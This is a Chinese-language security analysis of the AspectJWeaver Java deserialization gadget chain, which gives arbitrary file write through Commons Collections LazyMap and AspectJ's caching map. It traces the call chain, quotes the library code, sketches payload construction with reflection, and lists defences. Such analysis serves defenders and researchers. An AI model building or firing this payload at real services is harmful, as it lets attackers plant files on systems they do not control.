AspectJWeaver链分析
字数 1068 2025-08-25 22:58:28
AspectJWeaver反序列化链分析
概述
AspectJWeaver反序列化链是一个利用Java反序列化漏洞实现任意文件写入的攻击链。该链结合了Apache Commons Collections和AspectJ Weaver库的特性,通过精心构造的序列化对象,在反序列化过程中触发文件写入操作。
依赖组件
org.aspectj:aspectjweaver:1.9.2commons-collections:commons-collections:3.2.2
Gadget Chain调用链
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
详细分析
1. 入口点: HashSet.readObject()
反序列化过程从HashSet的readObject方法开始:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// ... 省略初始化代码 ...
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT); // 关键调用点
}
}
2. HashMap.put()触发链式调用
HashSet内部使用HashMap存储元素,put操作会触发hash计算:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
3. TiedMapEntry.hashCode()触发getValue()
hash计算会调用key对象的hashCode方法,对于TiedMapEntry:
public int hashCode() {
Object value = getValue(); // 关键调用点
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
4. TiedMapEntry.getValue()触发LazyMap.get()
public Object getValue() {
return map.get(key); // map是LazyMap实例
}
5. LazyMap.get()触发transform操作
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key); // factory是ConstantTransformer
map.put(key, value); // 关键调用点
return value;
}
return map.get(key);
}
6. SimpleCache$StorableCachingMap.put()触发文件写入
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[])((byte[])value);
if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
path = "IDEM";
} else {
path = this.writeToPath((String)key, valueBytes); // 文件写入
}
// ... 省略后续代码 ...
} catch (IOException var6) {
// ... 异常处理 ...
}
}
7. 最终文件写入操作
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = this.folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes); // 实际写入操作
fos.flush();
fos.close();
return fullPath;
}
Payload构造分析
关键构造步骤
-
创建SimpleCache$StoreableCachingMap实例:
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); -
创建ConstantTransformer用于存储文件内容:
Transformer ct = new ConstantTransformer(content); -
装饰为LazyMap:
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); -
创建TiedMapEntry:
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); -
通过反射将TiedMapEntry注入HashSet:
HashSet map = new HashSet(1); // 通过反射修改HashSet内部HashMap的Node.key为TiedMapEntry
为什么需要反射修改HashSet内容?
直接使用HashSet.add(tiedMapEntry)会在构造payload时就触发文件写入(非预期行为)。通过反射修改可以避免这种立即触发,确保只在反序列化时执行。
漏洞利用条件
- 目标系统使用了存在漏洞版本的AspectJ Weaver和Commons Collections
- 存在反序列化入口点
- 攻击者能够控制输入的反序列化数据
防御措施
- 升级AspectJ Weaver和Commons Collections到最新版本
- 使用安全的反序列化机制,如白名单过滤
- 使用Java 9+的安全特性,如JEP 290